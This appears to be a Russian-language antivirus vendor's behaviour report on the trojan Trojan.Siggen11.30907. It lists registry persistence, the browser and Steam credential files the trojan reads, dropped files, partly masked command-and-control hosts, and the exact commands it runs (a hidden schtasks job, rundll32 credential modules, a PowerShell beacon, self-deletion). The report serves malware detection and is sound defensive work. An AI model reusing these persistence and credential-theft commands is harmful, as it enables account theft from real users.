Trojan.Siggen11.30907

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'langApp' = '"%APPDATA%\Microsoft\Windows\Start Menu\Programs\teamesetup\langApp.exe"'

Вредоносные функции

Внедряет код в

следующие пользовательские процессы:

skdbn.exe

Читает файлы, отвечающие за хранение паролей сторонними программами

%ProgramFiles(x86)%\steam\config\config.vdf
%ProgramFiles(x86)%\steam\config\dialogconfig.vdf
%LOCALAPPDATA%\google\chrome\user data\default\login data
%LOCALAPPDATA%\google\chrome\user data\default\cookies
%LOCALAPPDATA%\google\chrome\user data\default\web data
%APPDATA%\opera software\opera stable\login data
%HOMEPATH%\desktop\hadac_newsletter_july_2010_final.docx
%HOMEPATH%\desktop\hanni_umami_chapter.doc
%HOMEPATH%\desktop\lisp_success.doc
%HOMEPATH%\desktop\sdszfo.docx
%HOMEPATH%\desktop\uep_form_786_bulletin_1726i602.doc

Изменения в файловой системе

Создает следующие файлы

%TEMP%\onychas.exe
%TEMP%\tmpb2d.tmp
%TEMP%\tmpb2c.tmp
%TEMP%\tmp6c8.tmp
%TEMP%\tmpaee.tmp
%TEMP%\tmp6d7.tmp
%TEMP%\tmp6c7.tmp
%TEMP%\tmp39b.tmp
%TEMP%\tmp38a.tmp
%TEMP%\tmp389.tmp
%TEMP%\tmp379.tmp
%TEMP%\tmp193.tmp
%TEMP%\tmpb3f.tmp
%TEMP%\tmp192.tmp
%TEMP%\tmp181.tmp
%TEMP%\tmp180.tmp
%TEMP%\tmp17f.tmp
%TEMP%\tmpb4.tmp
%TEMP%\tmpa3.tmp
%TEMP%\tmpffe7.tmp
%TEMP%\tmpaf.tmp
%TEMP%\tmp8f.tmp
%TEMP%\tmp194.tmp
%TEMP%\tmpccf.tmp
%TEMP%\tmpb6f.tmp
%TEMP%\tmpcbe.tmp
%TEMP%\tmpcbd.tmp
%TEMP%\tmpcac.tmp
%TEMP%\tmpcab.tmp
%TEMP%\tmpbc0.tmp
%TEMP%\tmpbbf.tmp
%TEMP%\tmpbbe.tmp
%TEMP%\tmpbbd.tmp
%TEMP%\tmpbac.tmp
%TEMP%\tmpbab.tmp
%TEMP%\tmp8e.tmp
%TEMP%\tmpb3e.tmp
%TEMP%\tmpb99.tmp
%TEMP%\tmpb98.tmp
%TEMP%\tmpb97.tmp
%TEMP%\tmpb96.tmp
%TEMP%\tmpb85.tmp
%TEMP%\tmpb84.tmp
%TEMP%\tmpb83.tmp
%TEMP%\tmpb82.tmp
%TEMP%\tmpb72.tmp
%TEMP%\tmpb71.tmp
%TEMP%\tmpba9.tmp
%TEMP%\tmpb70.tmp
%TEMP%\tmpbaa.tmp
%TEMP%\tmpcbf.tmp
%TEMP%\tmp7b.tmp
%TEMP%\tmpffd1.tmp
%TEMP%\tmpffbf.tmp
%TEMP%\tmpffae.tmp
%TEMP%\tmpffad.tmp
%TEMP%\tmpff00.tmp
%TEMP%\tmpff7d.tmp
%TEMP%\tmpff7c.tmp
%TEMP%\tmpff6b.tmp
%TEMP%\tmpf9fe.tmp
%TEMP%\tmpfeff.tmp
%TEMP%\tmpfefe.tmp
%TEMP%\tmpfeee.tmp
%TEMP%\tmpfd38.tmp
%TEMP%\tmpfeae.tmp
%TEMP%\tmpfe9d.tmp
%TEMP%\tmpfe5e.tmp
%TEMP%\tmpfe3e.tmp
%TEMP%\tmpfe3d.tmp
%TEMP%\tmpfe3c.tmp
%TEMP%\tmpfe2b.tmp
%TEMP%\tmpfe2a.tmp
%TEMP%\tmpffd2.tmp
%TEMP%\tmpffd3.tmp
%TEMP%\tmp6a.tmp
%TEMP%\tmp31.tmp
%TEMP%\tmp32.tmp
%TEMP%\tmp69.tmp
%TEMP%\tmp59.tmp
%TEMP%\tmp58.tmp
%TEMP%\tmp57.tmp
%TEMP%\tmp56.tmp
%TEMP%\tmp45.tmp
%TEMP%\tmp44.tmp
%TEMP%\tmp43.tmp
%TEMP%\tmp33.tmp
%TEMP%\tmp7d.tmp
%TEMP%\tmp7c.tmp
%TEMP%\tmpffc0.tmp
%TEMP%\tmp1f.tmp
%TEMP%\tmp1e.tmp
%TEMP%\tmpd.tmp
%TEMP%\tmpc.tmp
%TEMP%\tmpb.tmp
%TEMP%\tmpff7e.tmp
%TEMP%\tmpffe6.tmp
%TEMP%\tmpffe5.tmp
%TEMP%\tmpffe4.tmp
%TEMP%\tmp20.tmp
%TEMP%\tmpf9fc.tmp
%TEMP%\tmpcf0.tmp
%TEMP%\tmp11f4.tmp
%TEMP%\tmp11d4.tmp
%TEMP%\tmp11d3.tmp
%TEMP%\tmp11c2.tmp
%TEMP%\tmp11c1.tmp
%TEMP%\tmp11b1.tmp
%TEMP%\tmp11b0.tmp
%TEMP%\tmp11af.tmp
%TEMP%\tmp119e.tmp
%TEMP%\tmp119d.tmp
%TEMP%\tmp119c.tmp
%TEMP%\tmp118a.tmp
%TEMP%\tmp1207.tmp
%TEMP%\tmp1189.tmp
%TEMP%\tmp1188.tmp
%TEMP%\tmp1178.tmp
%TEMP%\tmp1177.tmp
%TEMP%\tmp1147.tmp
%TEMP%\tmp1146.tmp
%TEMP%\tmp1145.tmp
%TEMP%\tmp1144.tmp
%TEMP%\tmp11f5.tmp
%TEMP%\tmp119b.tmp
%TEMP%\tmpcf1.tmp
%TEMP%\tmp1208.tmp
%TEMP%\tmp13c2.tmp
%TEMP%\tmp1363.tmp
%TEMP%\tmp1353.tmp
%TEMP%\tmp1342.tmp
%TEMP%\tmp1341.tmp
%TEMP%\tmp1340.tmp
%TEMP%\tmp133f.tmp
%TEMP%\tmp131f.tmp
%TEMP%\tmp131e.tmp
%TEMP%\tmp1133.tmp
%TEMP%\tmp131d.tmp
%TEMP%\tmp11f6.tmp
%TEMP%\tmp130a.tmp
%TEMP%\tmp12fa.tmp
%TEMP%\tmp12f9.tmp
%TEMP%\tmp12f8.tmp
%TEMP%\tmp12e7.tmp
%TEMP%\tmp12e6.tmp
%TEMP%\tmp1239.tmp
%TEMP%\tmp120a.tmp
%TEMP%\tmp1209.tmp
%TEMP%\tmp131c.tmp
%TEMP%\tmp1132.tmp
%TEMP%\tmp1401.tmp
%TEMP%\tmp1122.tmp
%TEMP%\tmp1121.tmp
%TEMP%\tmp103b.tmp
%TEMP%\tmpfe29.tmp
%TEMP%\tmp101a.tmp
%TEMP%\tmp1019.tmp
%TEMP%\tmp1018.tmp
%TEMP%\tmp1007.tmp
%TEMP%\tmp1006.tmp
%TEMP%\tmp1005.tmp
%TEMP%\tmp1004.tmp
%TEMP%\tmpfa6.tmp
%TEMP%\tmp103c.tmp
%TEMP%\tmp103d.tmp
%TEMP%\tmpfa5.tmp
%TEMP%\tmpf82.tmp
%TEMP%\tmpf62.tmp
%TEMP%\tmpf61.tmp
%TEMP%\tmpf60.tmp
%TEMP%\tmpf50.tmp
%TEMP%\tmpf4f.tmp
%TEMP%\tmpf4e.tmp
%TEMP%\tmpf1e.tmp
%TEMP%\tmpf0d.tmp
%TEMP%\tmpf94.tmp
%TEMP%\tmpf93.tmp
%TEMP%\tmpffc1.tmp
%TEMP%\tmp104f.tmp
%TEMP%\tmp10b7.tmp
%TEMP%\tmp10c8.tmp
%TEMP%\tmp110f.tmp
%TEMP%\tmp110e.tmp
%TEMP%\tmp10fe.tmp
%TEMP%\tmp10ed.tmp
%TEMP%\tmp10ec.tmp
%TEMP%\tmp10db.tmp
%TEMP%\tmp10da.tmp
%TEMP%\tmp10d9.tmp
%TEMP%\tmp10c9.tmp
%TEMP%\tmp1120.tmp
%TEMP%\tmp104e.tmp
%TEMP%\tmp103a.tmp
%TEMP%\tmp1096.tmp
%TEMP%\tmp1095.tmp
%TEMP%\tmp1084.tmp
%TEMP%\tmp1083.tmp
%TEMP%\tmp1073.tmp
%TEMP%\tmp1072.tmp
%TEMP%\tmp1071.tmp
%TEMP%\tmp1060.tmp
%TEMP%\tmp105f.tmp
%TEMP%\tmp10a7.tmp
%TEMP%\tmpfe28.tmp
%TEMP%\tmpfe18.tmp
%TEMP%\tmpfe17.tmp
%TEMP%\tmpf308.tmp
%TEMP%\tmpf2d6.tmp
%TEMP%\tmpeeba.tmp
%TEMP%\tmpeed3.tmp
%TEMP%\tmpeb87.tmp
%TEMP%\tmpeeb9.tmp
%TEMP%\tmpeea8.tmp
%TEMP%\tmpeea7.tmp
%TEMP%\tmpee96.tmp
%TEMP%\tmpee95.tmp
%TEMP%\tmpea41.tmp
%TEMP%\tmpeb77.tmp
%TEMP%\tmpea40.tmp
%TEMP%\tmpdda2.tmp
%TEMP%\tmpdda1.tmp
%TEMP%\tmpdd61.tmp
%TEMP%\tmpdd60.tmp
%TEMP%\tmpdd50.tmp
%TEMP%\tmpdd4f.tmp
%TEMP%\tmpdd3e.tmp
%TEMP%\tmpdd3d.tmp
%TEMP%\tmpf309.tmp
%TEMP%\tmpf31a.tmp
%TEMP%\tmpf48c.tmp
%TEMP%\tmpf3e5.tmp
%TEMP%\tmpf3e6.tmp
%TEMP%\tmpf48b.tmp
%TEMP%\tmpf47b.tmp
%TEMP%\tmpf47a.tmp
%TEMP%\tmpf41b.tmp
%TEMP%\tmpf40b.tmp
%TEMP%\tmpf40a.tmp
%TEMP%\tmpf3f9.tmp
%TEMP%\tmpf3f8.tmp
%TEMP%\tmpf3f7.tmp
%TEMP%\tmpf307.tmp
%TEMP%\tmpdd3c.tmp
%TEMP%\tmpdd2a.tmp
%TEMP%\tmpf3d4.tmp
%TEMP%\tmpeed4.tmp
%TEMP%\tmpf340.tmp
%TEMP%\tmpf33f.tmp
%TEMP%\tmpf33e.tmp
%TEMP%\tmpf32d.tmp
%TEMP%\tmpf32c.tmp
%TEMP%\tmpf32b.tmp
%TEMP%\tmpf31b.tmp
%TEMP%\tmpf3d5.tmp
%TEMP%\tmpdd2b.tmp
%TEMP%\tmpdceb.tmp
%TEMP%\tmpdca1.tmp
%ALLUSERSPROFILE%\a76878f016\skdbn.exe
%TEMP%\tmpdc04.tmp
%TEMP%\tmpdbd4.tmp
%TEMP%\tmpdbd3.tmp
%TEMP%\tmpdbb3.tmp
%TEMP%\tmpdbb2.tmp
%TEMP%\tmpdba2.tmp
%TEMP%\tmpdba1.tmp
%TEMP%\tmpdaa6.tmp
%TEMP%\tmpda67.tmp
%TEMP%\tmpf48d.tmp
%TEMP%\tmpdc06.tmp
%ALLUSERSPROFILE%\152119601237922022915161
%TEMP%\nsrca70.tmp\zh2x1f8itg4rs.dll
%TEMP%\wuall.exe
%TEMP%\regalt-langvige.exe
%TEMP%\nt.exe
%TEMP%\mr.exe
%TEMP%\kchv.exe
%TEMP%\jdall.exe
%TEMP%\b.exe
%TEMP%\auau.exe
%APPDATA%\microsoft\windows\start menu\programs\teamesetup\langapp.exe
%TEMP%\tmp1402.tmp
%TEMP%\tmpdc07.tmp
%TEMP%\tmpdc49.tmp
%TEMP%\tmpdc18.tmp
%TEMP%\tmpdcea.tmp
%TEMP%\tmpdce9.tmp
%TEMP%\tmpdcd8.tmp
%TEMP%\tmpdcd7.tmp
%TEMP%\tmpdcd6.tmp
%TEMP%\tmpdcc6.tmp
%TEMP%\tmpdcc5.tmp
%TEMP%\tmpdcc4.tmp
%TEMP%\tmpdcb3.tmp
%TEMP%\tmpdc28.tmp
%TEMP%\tmpdcb2.tmp
%TEMP%\tmpdc05.tmp
%TEMP%\tmpdca0.tmp
%TEMP%\tmpdc8f.tmp
%TEMP%\tmpdc7e.tmp
%TEMP%\tmpdc7d.tmp
%TEMP%\tmpdc7c.tmp
%TEMP%\tmpdc6c.tmp
%TEMP%\tmpdc5b.tmp
%TEMP%\tmpdc5a.tmp
%TEMP%\tmpdc4a.tmp
%TEMP%\tmpdcb1.tmp
%TEMP%\tmp130b.tmp
%TEMP%\tmpf49e.tmp
%TEMP%\tmpf52d.tmp
%TEMP%\tmpfd26.tmp
%TEMP%\tmpfd6f.tmp
%TEMP%\tmpfd6e.tmp
%TEMP%\tmpfd6d.tmp
%TEMP%\tmpfd6c.tmp
%TEMP%\tmpfd5c.tmp
%TEMP%\tmpfd5b.tmp
%TEMP%\tmpfd5a.tmp
%TEMP%\tmpfd49.tmp
%TEMP%\tmpfbf1.tmp
%TEMP%\tmpfd27.tmp
%TEMP%\tmpfd25.tmp
%TEMP%\tmpfd81.tmp
%TEMP%\tmpfd24.tmp
%TEMP%\tmpfd14.tmp
%TEMP%\tmpfd13.tmp
%TEMP%\tmpfbf0.tmp
%TEMP%\tmpfbef.tmp
%TEMP%\tmpfbee.tmp
%TEMP%\tmpfbdd.tmp
%TEMP%\tmpfbdc.tmp
%TEMP%\tmpf2e7.tmp
%TEMP%\tmpfd82.tmp
%TEMP%\tmpfe16.tmp
%TEMP%\tmpfddc.tmp
%TEMP%\tmpfddd.tmp
%TEMP%\tmpfe05.tmp
%TEMP%\tmpfe04.tmp
%TEMP%\tmpfe03.tmp
%TEMP%\tmpfe02.tmp
%TEMP%\tmpfdf1.tmp
%TEMP%\tmpfdf0.tmp
%TEMP%\tmpfdef.tmp
%TEMP%\tmpfdee.tmp
%TEMP%\tmpfded.tmp
%TEMP%\tmpfbdb.tmp
%TEMP%\tmpfbda.tmp
%TEMP%\tmpfd83.tmp
%TEMP%\tmpfdda.tmp
%TEMP%\tmpfdd9.tmp
%TEMP%\tmpfdc8.tmp
%TEMP%\tmpfdc7.tmp
%TEMP%\tmpfdc6.tmp
%TEMP%\tmpfd96.tmp
%TEMP%\tmpfd95.tmp
%TEMP%\tmpfd94.tmp
%TEMP%\tmpfd93.tmp
%TEMP%\tmpfddb.tmp
%TEMP%\tmpfd80.tmp
%TEMP%\tmpfaa1.tmp
%TEMP%\tmpf9b8.tmp
%TEMP%\tmpf49f.tmp
%TEMP%\tmpf6c8.tmp
%TEMP%\tmpf921.tmp
%TEMP%\tmpf920.tmp
%TEMP%\tmpf910.tmp
%TEMP%\tmpf8ff.tmp
%TEMP%\tmpf8ef.tmp
%TEMP%\tmpf8de.tmp
%TEMP%\tmpf8cd.tmp
%TEMP%\tmpf341.tmp
%TEMP%\tmpf944.tmp
%TEMP%\tmpf6d9.tmp
%TEMP%\tmpf6d8.tmp
%TEMP%\tmpf6c7.tmp
%TEMP%\tmpf6c6.tmp
nul
%TEMP%\tmpf553.tmp
%TEMP%\tmpf552.tmp
%TEMP%\tmpf541.tmp
%TEMP%\tmpf540.tmp
%TEMP%\tmpf53f.tmp
%TEMP%\tmpf53e.tmp
%TEMP%\tmpf933.tmp
%TEMP%\tmpf4a0.tmp
%TEMP%\tmpf946.tmp
%TEMP%\tmpf957.tmp
%TEMP%\tmpfaa0.tmp
%TEMP%\tmpf945.tmp
%TEMP%\tmpfa9f.tmp
%TEMP%\tmpfa8f.tmp
%TEMP%\tmpfa8e.tmp
%TEMP%\tmpfa7d.tmp
%TEMP%\tmpfa7c.tmp
%TEMP%\tmpfa6b.tmp
%TEMP%\tmpfa0d.tmp
%TEMP%\tmpf9fa.tmp
%TEMP%\tmpf956.tmp
%TEMP%\tmpf9f9.tmp
%TEMP%\tmpf9fd.tmp
%TEMP%\tmpf932.tmp
%TEMP%\tmpf9fb.tmp
%TEMP%\tmpf9ea.tmp
%TEMP%\tmpf9e9.tmp
%TEMP%\tmpf9e8.tmp
%TEMP%\tmpf9e7.tmp
%TEMP%\tmpf6da.tmp
%TEMP%\tmpf554.tmp
%TEMP%\tmpf958.tmp
%TEMP%\tmpf988.tmp
%TEMP%\refvs.exe

Удаляет следующие файлы

%TEMP%\nsrca70.tmp\zh2x1f8itg4rs.dll
%TEMP%\tmp194.tmp
%TEMP%\tmp389.tmp
%TEMP%\tmp39b.tmp
%TEMP%\tmp6d7.tmp
%TEMP%\tmpaee.tmp
%TEMP%\tmp6c8.tmp
%TEMP%\tmpb2d.tmp
%TEMP%\tmpb3f.tmp
%TEMP%\tmpb70.tmp
%TEMP%\tmpb72.tmp
%TEMP%\tmpb85.tmp
%TEMP%\tmpcf0.tmp
%TEMP%\tmpb97.tmp
%TEMP%\tmpb99.tmp
%TEMP%\tmpbaa.tmp
%TEMP%\tmpbac.tmp
%TEMP%\tmpbbe.tmp
%TEMP%\tmpbc0.tmp
%TEMP%\tmpcac.tmp
%TEMP%\tmpcbe.tmp
%TEMP%\tmpcbf.tmp
%TEMP%\tmpccf.tmp
%TEMP%\wuall.exe
%TEMP%\tmpb83.tmp
%TEMP%\tmp192.tmp
%TEMP%\tmp20.tmp
%TEMP%\tmpff7c.tmp
%TEMP%\tmpff00.tmp
%TEMP%\tmpffae.tmp
%TEMP%\tmpffc0.tmp
%TEMP%\tmpffd1.tmp
%TEMP%\tmpffd3.tmp
%TEMP%\tmpffe5.tmp
%TEMP%\tmpff7e.tmp
%TEMP%\tmpc.tmp
%TEMP%\tmp1e.tmp
%TEMP%\tmp32.tmp
%TEMP%\tmpb4.tmp
%TEMP%\tmp43.tmp
%TEMP%\tmp45.tmp
%TEMP%\tmp57.tmp
%TEMP%\tmp59.tmp
%TEMP%\tmp6a.tmp
%TEMP%\tmp7c.tmp
%TEMP%\tmp8e.tmp
%TEMP%\tmp8f.tmp
%TEMP%\tmpffe7.tmp
%TEMP%\tmpaf.tmp
%TEMP%\tmp180.tmp
%TEMP%\tmpcf1.tmp
%TEMP%\tmpf1e.tmp
%TEMP%\tmpf4f.tmp
%TEMP%\tmp119b.tmp
%TEMP%\tmp119d.tmp
%TEMP%\tmp11af.tmp
%TEMP%\tmp11b1.tmp
%TEMP%\tmp11c2.tmp
%TEMP%\tmp11d4.tmp
%TEMP%\tmp11f5.tmp
%TEMP%\tmp1207.tmp
%TEMP%\tmp1209.tmp
%TEMP%\tmp1178.tmp
%TEMP%\tmp1189.tmp
%TEMP%\tmp1239.tmp
%TEMP%\tmp130a.tmp
%TEMP%\tmp131c.tmp
%TEMP%\tmp131e.tmp
%TEMP%\tmp133f.tmp
%TEMP%\tmp1341.tmp
%TEMP%\tmp1353.tmp
%TEMP%\tmp1363.tmp
%TEMP%\tmp13c2.tmp
%TEMP%\tmp1401.tmp
%TEMP%\tmp12e7.tmp
%TEMP%\tmp12f9.tmp
%TEMP%\tmp1147.tmp
%TEMP%\tmp1145.tmp
%TEMP%\tmp1133.tmp
%TEMP%\tmpf62.tmp
%TEMP%\tmpf93.tmp
%TEMP%\tmpfa5.tmp
%TEMP%\tmp1004.tmp
%TEMP%\tmp1006.tmp
%TEMP%\tmp1018.tmp
%TEMP%\tmp101a.tmp
%TEMP%\tmp103b.tmp
%TEMP%\tmp103d.tmp
%TEMP%\tmp104f.tmp
%TEMP%\tmpf60.tmp
%TEMP%\tmp1060.tmp
%TEMP%\tmp1083.tmp
%TEMP%\tmp1095.tmp
%TEMP%\tmp10a7.tmp
%TEMP%\tmp10c8.tmp
%TEMP%\tmp10d9.tmp
%TEMP%\tmp10db.tmp
%TEMP%\tmp10ed.tmp
%TEMP%\tmp110e.tmp
%TEMP%\tmp1120.tmp
%TEMP%\tmp1122.tmp
%TEMP%\tmp1072.tmp
%TEMP%\tmpf9fe.tmp
%TEMP%\tmp1402.tmp
%TEMP%\tmpfefe.tmp
%TEMP%\tmpfeae.tmp
%TEMP%\tmpeea8.tmp
%TEMP%\tmpeb87.tmp
%TEMP%\tmpf2e7.tmp
%TEMP%\tmpf308.tmp
%TEMP%\tmpf31a.tmp
%TEMP%\tmpf32b.tmp
%TEMP%\tmpf32d.tmp
%TEMP%\tmpf33f.tmp
%TEMP%\tmpeeba.tmp
%TEMP%\tmpeed4.tmp
%TEMP%\tmpf3e6.tmp
%TEMP%\tmpf6c7.tmp
%TEMP%\tmpf3f8.tmp
%TEMP%\tmpf40a.tmp
%TEMP%\tmpf41b.tmp
%TEMP%\tmpf47b.tmp
%TEMP%\tmpf48c.tmp
%TEMP%\tmpf49e.tmp
%TEMP%\tmpf4a0.tmp
%TEMP%\tmpf53e.tmp
%TEMP%\tmpf540.tmp
%TEMP%\tmpf552.tmp
%TEMP%\tmpee96.tmp
%TEMP%\tmpf3d5.tmp
%TEMP%\tmpea41.tmp
%TEMP%\tmpdc7e.tmp
%TEMP%\tmpdaa6.tmp
%TEMP%\tmpdba2.tmp
%TEMP%\tmpdbb3.tmp
%TEMP%\tmpdbd4.tmp
%TEMP%\tmpdc05.tmp
%TEMP%\tmpdc07.tmp
%TEMP%\tmpdc28.tmp
%TEMP%\tmpdc4a.tmp
%TEMP%\tmpdc5b.tmp
%TEMP%\tmpdc7c.tmp
%TEMP%\tmpdca0.tmp
%TEMP%\tmpdd61.tmp
%TEMP%\tmpdcb1.tmp
%TEMP%\tmpdcb3.tmp
%TEMP%\tmpdcc5.tmp
%TEMP%\tmpdcd6.tmp
%TEMP%\tmpdcd8.tmp
%TEMP%\tmpdcea.tmp
%TEMP%\tmpdd2a.tmp
%TEMP%\tmpdd3c.tmp
%TEMP%\tmpdd3e.tmp
%TEMP%\tmpdd50.tmp
%TEMP%\tmpdda2.tmp
%TEMP%\tmpf6d8.tmp
%TEMP%\tmpf341.tmp
%TEMP%\tmpf8de.tmp
%TEMP%\tmpfd6f.tmp
%TEMP%\tmpfd81.tmp
%TEMP%\tmpfd83.tmp
%TEMP%\tmpfd94.tmp
%TEMP%\tmpfd96.tmp
%TEMP%\tmpfdc7.tmp
%TEMP%\tmpfdd9.tmp
%TEMP%\tmpfddb.tmp
%TEMP%\tmpfddd.tmp
%TEMP%\tmpfd5c.tmp
%TEMP%\tmpfd6d.tmp
%TEMP%\tmpfdee.tmp
%TEMP%\tmpfe04.tmp
%TEMP%\tmpfe16.tmp
%TEMP%\tmpfe18.tmp
%TEMP%\tmpfe29.tmp
%TEMP%\tmpfe2b.tmp
%TEMP%\tmpfe3d.tmp
%TEMP%\tmpfe3e.tmp
%TEMP%\tmpfe5e.tmp
%TEMP%\tmpfe9d.tmp
%TEMP%\tmpfdf0.tmp
%TEMP%\tmpfe02.tmp
%TEMP%\tmpfd5a.tmp
%TEMP%\tmpfbf1.tmp
%TEMP%\tmpfd26.tmp
%TEMP%\tmpf920.tmp
%TEMP%\tmpf932.tmp
%TEMP%\tmpf944.tmp
%TEMP%\tmpf946.tmp
%TEMP%\tmpf957.tmp
%TEMP%\tmpf554.tmp
%TEMP%\tmpf6da.tmp
%TEMP%\tmpf9e8.tmp
%TEMP%\tmpf9ea.tmp
%TEMP%\tmpf9fc.tmp
%TEMP%\tmpf8ff.tmp
%TEMP%\tmpf988.tmp
%TEMP%\tmpfa0d.tmp
%TEMP%\tmpfa7c.tmp
%TEMP%\tmpfa8e.tmp
%TEMP%\tmpfa9f.tmp
%TEMP%\tmpfaa1.tmp
%TEMP%\tmpfbdb.tmp
%TEMP%\tmpfbdd.tmp
%TEMP%\tmpfbef.tmp
%TEMP%\tmpfd13.tmp
%TEMP%\tmpfd24.tmp
%TEMP%\tmpf9f9.tmp
%TEMP%\tmpfd38.tmp
%TEMP%\kchv.exe

Подменяет следующие файлы

%TEMP%\tmpf9e8.tmp
%TEMP%\tmpf9ea.tmp
%TEMP%\tmpf9fc.tmp

Сетевая активность

TCP

Запросы HTTP GET

http://ch#####.amazonaws.com/
http://et#0.me/

Запросы HTTP POST

http://18#.###.101.89:35200/IRemotePanel via 18#.#48.101.89
http://18#.#53.198.36/IRemotePanel
http://13#.###.180.103:6677/IRemotePanel via 13#.#24.180.103
http://5.###.194.139:35200/IRemotePanel via 5.###.194.139
http://be###allo.xyz/IRemotePanel

'ap#.ip.sb':443

'wh###.iana.org':43

'WH###.RIPE.NET':43

'ne####ate.online':443

'19#.#.78.227':54766

'bi###cket.org':443

'bb#######oads.s3.amazonaws.com':443

UDP

DNS ASK be###allo.xyz
DNS ASK ap#.ip.sb
DNS ASK ch#####.amazonaws.com
DNS ASK wh###.iana.org
DNS ASK WH###.RIPE.NET
DNS ASK ne####ate.online
DNS ASK jo##us.us
DNS ASK et#0.me
DNS ASK bi###cket.org
DNS ASK bb#######oads.s3.amazonaws.com

Другое

Создает и запускает на исполнение

'%TEMP%\auau.exe'
'%TEMP%\b.exe'
'%TEMP%\jdall.exe'
'%TEMP%\kchv.exe'
'%TEMP%\mr.exe'
'%TEMP%\nt.exe'
'%TEMP%\onychas.exe'
'%TEMP%\regalt-langvige.exe'
'%TEMP%\wuall.exe'
'%ALLUSERSPROFILE%\a76878f016\skdbn.exe'
'%TEMP%\refvs.exe'
'%WINDIR%\syswow64\cmd.exe' /c start "" "auau.exe" & start "" "b.exe" & start "" "jdall.exe" & start "" "kchv.exe" & start "" "mr.exe" & start "" "nt.exe" & start "" "Onychas.exe" & start "" "regalt-langvige.exe" & start ...' (со скрытым окном)
'%ALLUSERSPROFILE%\a76878f016\skdbn.exe' ' (со скрытым окном)
'%WINDIR%\syswow64\schtasks.exe' /Create /SC MINUTE /MO 1 /TN skdbn.exe /TR "%ALLUSERSPROFILE%\a76878f016\skdbn.exe" /F' (со скрытым окном)
'%WINDIR%\syswow64\rundll32.exe' %ALLUSERSPROFILE%\a76878f016\cred.dll, Main' (со скрытым окном)
'%WINDIR%\syswow64\rundll32.exe' %ALLUSERSPROFILE%\a76878f016\scr.dll, Main' (со скрытым окном)

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /c start "" "auau.exe" & start "" "b.exe" & start "" "jdall.exe" & start "" "kchv.exe" & start "" "mr.exe" & start "" "nt.exe" & start "" "Onychas.exe" & start "" "regalt-langvige.exe" & start ...
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -command "Invoke-WebRequest -Uri https://iplogger.org/1wC3j7"
'%WINDIR%\syswow64\cmd.exe' /C ping 127.0.0.1 -n 3 > nul & del "%TEMP%\wuall.exe"
'%WINDIR%\syswow64\ping.exe' 127.0.0.1 -n 3
'%WINDIR%\syswow64\cmd.exe' /C ping 127.0.0.1 -n 3 > nul & del "%TEMP%\kchv.exe"
'%WINDIR%\syswow64\cmd.exe' /C ping 127.0.0.1 -n 3 > nul & del ""
'%WINDIR%\syswow64\schtasks.exe' /Create /SC MINUTE /MO 1 /TN skdbn.exe /TR "%ALLUSERSPROFILE%\a76878f016\skdbn.exe" /F
'%WINDIR%\syswow64\rundll32.exe' %ALLUSERSPROFILE%\a76878f016\cred.dll, Main
'%WINDIR%\syswow64\rundll32.exe' %ALLUSERSPROFILE%\a76878f016\scr.dll, Main

Технологии

Термины

Обучение и просвещение

Мифы

Техническая информация

Рекомендации по лечению

Демо бесплатно на 14 дней